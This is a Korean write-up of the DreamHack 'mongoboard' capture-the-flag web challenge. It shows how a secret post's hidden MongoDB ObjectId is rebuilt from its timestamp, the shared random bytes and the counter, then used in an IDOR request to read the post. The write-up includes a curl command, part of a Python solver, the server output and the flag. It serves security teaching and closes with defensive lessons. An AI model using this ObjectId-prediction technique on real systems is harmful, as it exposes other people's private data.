이 글이 도움이 됐나요?
문제: DreamHack — mongoboard 분류: Web (Node.js + Express + MongoDB) 난이도: 🥉 Bronze 3 FLAG:
DH{f823bac286ef352172b1cd73c812708ea356a000}
node와 mongodb로 만든 게시판이다. 비밀 게시글(secret: true)의 본문을 읽으면 플래그가 나온다.
| 항목 | 내용 |
|---|---|
| 문제명 | mongoboard |
| 난이도 | 🥉 Bronze 3 |
| 분류 | Web (Express + Mongoose + MongoDB) |
| 제공 파일 / 서버 | app.js, routes/index.js, models/board.js + 라이브 서버 |
| 핵심 취약점 | 숨긴 _id를 MongoDB ObjectId 구조로 예측 (IDOR) |
목록 API는 비밀글의 _id를 null로 가리고 본문도 안 준다. 하지만 단건 조회 API는 _id만 알면 본문까지 통째로 돌려준다.
문제는 MongoDB의 _id(ObjectId)가 난수가 아니라 시각·프로세스 랜덤·증가 카운터로 조립된 값이라는 점이다. 가려진 _id도 옆 글들을 보면 거의 그대로 재구성된다.
제공된 코드는 세 파일이 전부다. 라우터(routes/index.js)부터 본다.
// 목록 — 비밀글은 _id 를 null 로, 본문(body)은 모두에게 비공개
app.get('/api/board', function(req, res){
MongoBoard.find(function(err, board){
res.json(board.map(data => {
return {
_id: data.secret ? null : data._id, // ← secret 이면 _id 가림
title: data.title,
author: data.author,
secret: data.secret,
publish_date: data.publish_date // ← 생성 시각은 그대로 노출
}
}));
})
});
// 단건 — _id 로 찾아서 전체 문서(body 포함) 반환
app.get('/api/board/:board_id', function(req, res){
MongoBoard.findOne({_id: req.params.board_id}, function(err, board){
if(!board) return res.status(404).json({error: 'board not found'});
res.json(board); // ← body 까지 통째로
})
});설계 의도는 분명하다. 비밀글은 목록에서 _id를 숨겨 단건 조회로 못 넘어가게 막으려는 것이다. body도 목록 projection에서 빠져 있다.
그런데 단건 조회 /api/board/:board_id는 _id만 맞으면 secret 여부를 따지지 않고 본문까지 다 준다. 접근 제어가 "_id를 모를 것"이라는 가정 하나에 통째로 걸려 있다. 전형적인 IDOR다.
:board_id는 URL 경로 문자열이라 $ne 같은 NoSQL 연산자를 끼워 넣을 수는 없다. 그러니 숨긴 _id 자체를 알아내는 것이 유일한 길이다.
실제 목록 응답을 보면 비밀글의 _id만 null이다.

[
{"_id":"6a212da1994a55ffc2d33634","title":"Hello","author":"guest","secret":false,"publish_date":"2026-06-04T07:47:45.418Z"},
{"_id":"6a212da3994a55ffc2d33635","title":"Mongo","author":"guest","secret":false,"publish_date":"2026-06-04T07:47:47.427Z"},
{"_id":null, "title":"FLAG", "author":"admin","secret":true, "publish_date":"2026-06-04T07:47:51.429Z"},
{"_id":"6a212dac994a55ffc2d33637","title":"Good",
비밀글 _id는 가려졌지만 publish_date는 그대로 떠 있다. 이게 결정적인 단서가 된다.
MongoDB의 기본 _id인 ObjectId는 12바이트로 정해진 구조를 가진다.
| 바이트 | 의미 | 성질 |
|---|---|---|
| 0–3 (4B) | 생성 시각 (Unix epoch 초) | publish_date와 같은 순간 |
| 4–8 (5B) | 프로세스 랜덤 값 | 같은 프로세스가 만든 글끼리 동일 |
| 9–11 (3B) | 증가 카운터 | insert 때마다 +1 |
세 글의 _id를 이 구조로 쪼개보면 규칙이 한눈에 보인다.

Hello 6a212da1 994a55ffc2 d33634 (07:47:45, counter 34)
Mongo 6a212da3 994a55ffc2 d33635 (07:47:47, counter 35)
FLAG ???????? ?????????? ?????? (07:47:51, _id 숨김)
Good 6a212dac 994a55ffc2 d33637 (07:47:56, counter 37)세 가지가 그대로 드러난다.
랜덤 5바이트 994a55ffc2 — 네 글이 전부 같다. 한 시드 스크립트가 한 프로세스에서 글을 만들었다는 뜻이다.
카운터 — 34 → 35 → ? → 37. 비밀글은 Mongo와 Good 사이에 끼었으니 36.
시각 — 비밀글 publish_date가 07:47:51. Unix epoch 초로 바꾸면 0x6a212da7.
세 조각을 이어 붙이면 가려졌던 _id가 그대로 나온다.
6a212da7 + 994a55ffc2 + d33636 → 6a212da7994a55ffc2d33636
(시각) (랜덤) (카운터)복원한 _id를 단건 API에 그대로 넣는다.
curl -s http://<host>:<port>/api/board/6a212da7994a55ffc2d33636단건 조회는 secret 여부를 안 보고 본문까지 주므로, 비밀글이 그대로 열린다.

{
"secret": true,
"_id": "6a212da7994a55ffc2d33636",
"title": "FLAG",
"body": "DH{f823bac286ef352172b1cd73c812708ea356a000}",
"author": "admin",
"publish_date": "2026-06-04T07:47:51.429Z"
}서버가 재시작되면 _id(랜덤·시각·카운터)가 새로 바뀐다. 손으로 매번 쪼개기보다, 목록을 받아 자동으로 복원하도록 짰다. 카운터는 보이는 범위 ±5, 시각은 ±2초만 brute하면 충분하다 — 다 합쳐도 수십 번이다.
#!/usr/bin/python3
# mongoboard 솔버 — secret 글의 _id를 ObjectId 구조로 예측해 본문(FLAG)을 읽는다.
#
# ObjectId(12B) = [4B 생성시각][5B 프로세스 랜덤][3B 증가 카운터]
# - 랜덤 5B : 같은 시드 프로세스가 만든 글끼리 동일
# - 카운터 : insert 순서대로 +1 씩 증가
import sys
import datetime
import requests
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://host8.dreamhack.games:15742").rstrip("/")
s = requests.Session()
board = s.get(f"{BASE}/api/board", timeout=10).json()
visible = [p for p in board if p.get(
라이브 서버에 그대로 돌린 결과다.
$ python3 solve.py http://host8.dreamhack.games:15742
[*] 공유 랜덤 5B : 994a55ffc2
[*] 보이는 카운터: ['0xd33634', '0xd33635', '0xd33637']
[*] secret 'FLAG' publish_date=2026-06-04T07:47:51.429Z -> ts=0x6a212da7
[+] HIT _id=6a212da7994a55ffc2d33636
[+] title : FLAG
[FLAG] DH{f823bac286ef352172b1cd73c812708ea356a000}
DH{f823bac286ef352172b1cd73c812708ea356a000}_id를 가린 건 접근 제어가 아니다.
목록에서 _id만 null로 바꾼 건, 정문에 자물쇠를 채우고 옆 창문은 열어둔 격이다. 단건 조회가 secret 여부를 검사하지 않는 한, _id를 어떻게든 알아낸 사람은 그대로 본문을 읽는다. 비밀글이라면 단건 조회 쪽에서 secret이나 권한을 직접 확인했어야 한다.
ObjectId는 비밀번호가 아니다.
ObjectId가 24자리 16진수라 무작위처럼 보이지만, 앞 4바이트는 생성 시각이고 가운데 5바이트는 프로세스마다 고정, 끝 3바이트는 그냥 증가하는 카운터다. 같은 시점에 만들어진 문서들의 ObjectId는 서로 몇 글자밖에 다르지 않다. 추측 불가능성을 기대고 무언가를 숨긴다면 ObjectId는 잘못된 선택이다.
숨겼다는 사실 자체가 단서가 된다.
여기서는 비밀글의 publish_date를 그대로 노출한 게 결정적이었다. 시각을 알면 ObjectId의 4바이트가 풀리고, 옆 글의 카운터를 알면 나머지도 한두 글자 차이로 좁혀진다. 가리려면 끝까지 가려야 하고, 추측 가능한 식별자는 처음부터 노출 면에서 안전하다고 가정하지 않는 편이 낫다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…